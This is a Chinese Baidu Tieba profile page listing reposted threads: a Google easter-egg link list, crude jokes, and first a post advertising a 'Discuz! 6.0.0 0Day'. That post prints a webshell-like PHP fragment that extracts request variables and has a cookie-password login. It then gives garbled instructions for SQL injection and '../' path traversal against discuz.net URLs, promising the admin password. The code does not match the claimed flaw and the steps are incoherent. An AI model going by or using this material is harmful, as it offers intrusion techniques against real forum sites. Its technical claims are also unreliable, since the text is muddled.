zhlw88cn zhlw88cn
关注数: 26 粉丝数: 74 发帖数: 1,857 关注贴吧数: 76
Discuz! 6.0.0 0Day漏洞 Discuz! 6.0.0 0Day漏洞// 允许程序在 register_globals = off 的环境下工作$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions");/*===================== 身份验证 =====================*/if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "");echo " ";echo " 注销成功...... http://tieba.baidu.com/mo/q/checkurl?url=%5C%22%22.%24self.%22%5C%22&urlrefer=161976d8289d2cc679b2d4eb3c9bddb2";exit;}if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo " ";echo " 登陆成功...... http://tieba.baidu.com/mo/q/checkurl?url=%5C%22%22.%24self.%22%5C%22&urlrefer=161976d8289d2cc679b2d4eb3c9bddb2";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}/*===================== 验证结束 =====================*/// 判断 magic_quotes_gpc 状态if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}---------------------------------------------------------------------------------------------------------------------http://www.discuz.net/admin/logging.php?action=login可以跳到其它目录注册登录后利用http://www.discuz.net/search.php?user%id=100可以进行injection……只能手工注射注意:showpath里必须包含用户自己的路径如果限制的话,还可以向上跳,向上级传文件的时候,不能直接http://www. http://www.discuz.net/user/up/_id=../../....../(注射语句)就包含用户路径http://www.discuz.net/member.php ... rNumber=1402257EE8F不然不能进行注射。文件漏洞代码如下getDB();/*echo ' ';print_r($Data);*/?>可以直接注射,拿到后台密码。转载请注明出自炎黄黑客教学--讨论区 http://www.teachack.com/vbbs/,本贴地址:http://www.teachack.com/vbbs/viewthread.php?tid=280
Google隐藏小秘密,让我悄悄告诉你 http://www.google.com/microsoft 微软风格的入口   http://www.google.com/mac MAC风格的入口 http://www.google.com/linux Linux风格的入口 http://www.google.com/bsd FreeBSD风格的入口 Google有各种语言的版本,下面这些语言可能是在是稀罕了点儿 http://www.google.com/intl/xx-klingon/ 克林冈语入口(没看过星际旅行吗?) http://www.google.com/intl/xx-bork/ 政治入口? http://www.google.com/intl/xx-elmer/ 宗教入口 http://www.google.com/intl/xx-piglatin/ 小猪入口 http://www.google.com/intl/xx-hacker/ 黑客专用入口 Google里还有一个小小的彩蛋游戏,大家自己去看吧! http://www.google.com/Easter/feature_easter.html 下面是一个更有用的彩蛋 http://froogle.google.com/ 作用: 通过特殊的搜索引擎,你可以在网上找到你想购物的网站位置。以及你可以很方便的搜索出同类产品的价格。 看看世界各地的商品价格,自己再买的时候心底有数多了把 http://labs.google.com/gviewer.html 作用:一个小玩具,适合那些连鼠标都懒得动的懒人。当你在google上找到了查询结果后,你可以使用google viewer让结果以自己定义的间隔时间来一条一条自动滚屏。 http://labs.google.com/cgi-bin/webquotes 作用:可以搜索出你要查询的内容在internet上被多少其他的网站引用过,可以让你知道internet上其他人对你要查询内容的观点,适合写论文和评论以及特殊用途人使用。 http://labs.google.com/glossary 作用:顾名思义了,就是一个查英语缩写语意的工具,google的词汇表 http://labs1.google.com/gvs.html 作用:给google打一个电话,说出你要查找的内容,然后google会把你要查询的结果显示出来。 给不识字的人用的?
爆笑,我怀孕了,是你的....笑了就顶一下! 爆笑,我怀孕了,是你的....笑了就顶一下!一天蚂蚁对大象说 我怀孕了 是你的 大象晕了大象醒后对蚂蚁说 我还想要一个 你要是不干 我就去死不过你要给我挖个坑把我埋了蚂蚁说 我草为了你这一夜情我得挖上一辈子坑!!!!!!!!!!!!!!!!!!!!!!一天,一个小伙子去买家具,老板是个长得具恶的老女人,他见小伙子长得甚帅,就把沙发便宜卖给他了,可是在买床时,小伙子还要让老板娘便宜,老板娘便急说:你在沙发上占万我便宜,还要在床上占阿!"一狼肚子饿出去觅食,来到一间茅屋前,听到里面妇人在教训小孩子:“再哭!再哭就把你扔出去喂狼。”狼很高兴,就在那等,到了天亮也没见动静,最后狼说了一句话离开了:“这老娘儿们!说话不算数!”有两个造假钞的不小心造出面值15元的假钞,两人决定拿到偏远山区花掉,当他们拿一张15元买了1元的糖葫芦好,他们哭了,农民找了他们两张7块的某单位组织出去玩,要坐4、5个小时的汽车,有一位50岁左右的阿姨上车后忽然大喊:“哎呀!我忘记吃避晕药了!”(她每次出长途前都要吃“晕海宁”的),同事们也正好拿她开心,说:“没关系,阿姨,你这个年龄不吃也怀不上了,放心!”路边停着一辆宝马,属违章停车。pol.ice过来,贴条儿,抄单子。 哥们儿从商场出来:“你丫不就是pol.ice么,牛什么啊?不就会贴条儿、抄单子么!” pol.ice看他一眼,没说话,继续抄单子。 “你要真牛b,甭贴条儿,你直接叫拖车拖走!”pol.ice看他一眼,还没说话。 “牛什么啊!除了贴条儿吓唬我们你们还会什么!牛b你拖走!” pol.ice抄完单子,打电话,叫拖车。拖车来了。pol.ice看着那哥们儿。 “嘿,你还真牛啊!你真牛,你拖走啊!借你俩胆儿!” pol.ice一摆手,拖走了。 pol.ice看他两眼,想劝劝他,往后别这么叫板。 哥们儿一翻白眼儿:“你牛b,你等车主来了, 告诉他为什么你把他车拖走了! 一男家贫,婚期将至,其母用面口袋为其制一内裤,新婚之夜,新娘为新郎褪去内衣后即刻晕倒,只见内裤中央几个大字:净重25公斤如果您笑了就帮忙顶一下  如果您没笑拍拍屁股走人也没关系,同样谢谢您的光临!
游泳池里尿尿的后果(不笑不行) 在游泳池尿尿的后果!!!!!!小李是我的一个朋友. 他说:"走呀!请你去游泳!" 我说:"不去!" 他说:"为什么?" 我说:"水太脏,他们都往里尿尿." 他说:"那我们也往里尿呀!" 我说:"不去." 然后他自己就去了. 玩了没半个小时,给我打电话. 说:"给我拿300块钱来,我尿尿让人抓住了. " 我说:"怎么还能让人抓住呢?" 他说:"人家在水里尿,我上跳台尿的." 第二天,还没洗脸偷偷的又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱,我尿尿又让人抓住了. " 我说:"怎么又抓住了." 他说:"别提了,我在水里尿的,昨天罚了300,上了点火.一尿尿拉黄线了!" 第三天,又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱,我尿尿又让人抓住了. " 我说:"怎么又抓住了." 他说:"别提了,昨天受了凉,尿的时候带出来一泡屎" 第四天,又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱,我尿尿又让人抓住了. " 我说:"怎么又抓住了." 他说:"别提了,今天看见一个超级火爆的美女,尿的时候带出来的居然是白色粘状物" 第五天,又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱. " 我说:"怎么又抓住了." 他说:"别提了,尿得太多,整个池子都溢出来了" 我:"。。。。。。。。。" 第六天,又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱. " 我说:"怎么又抓住了." 他说:"别提了,我一来人都吓跑了.” 我:"。。。。。。。。。" 第七天,又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱." 我说:"怎么又抓住了." 他说:"我一来,游泳池的人全尿了. " 第八天,又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱." 我说:"怎么又抓住了." 他说:"别提了,我一来,管理员吓尿了。” 我:"。。。。。。。。。" 第九天,又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱. " 我说:"怎么又抓住了." 他说:"别提了,我尿不出来人家不让走了.” 我:"。。。。。。。。。" 第十天,又去了.没玩半个小时又给我打电话. 说:"给我拿300块钱. " 我说:"怎么又抓住了." 他说:"别提了,还没尿,人家一看又是我,就先罚300块" 我:"。。。。。。。。。" 第十一天,泳池方面推出新规定,凡是在泳池撒尿者罚款3000并没收作案工具…
首页 1 2 3 下一页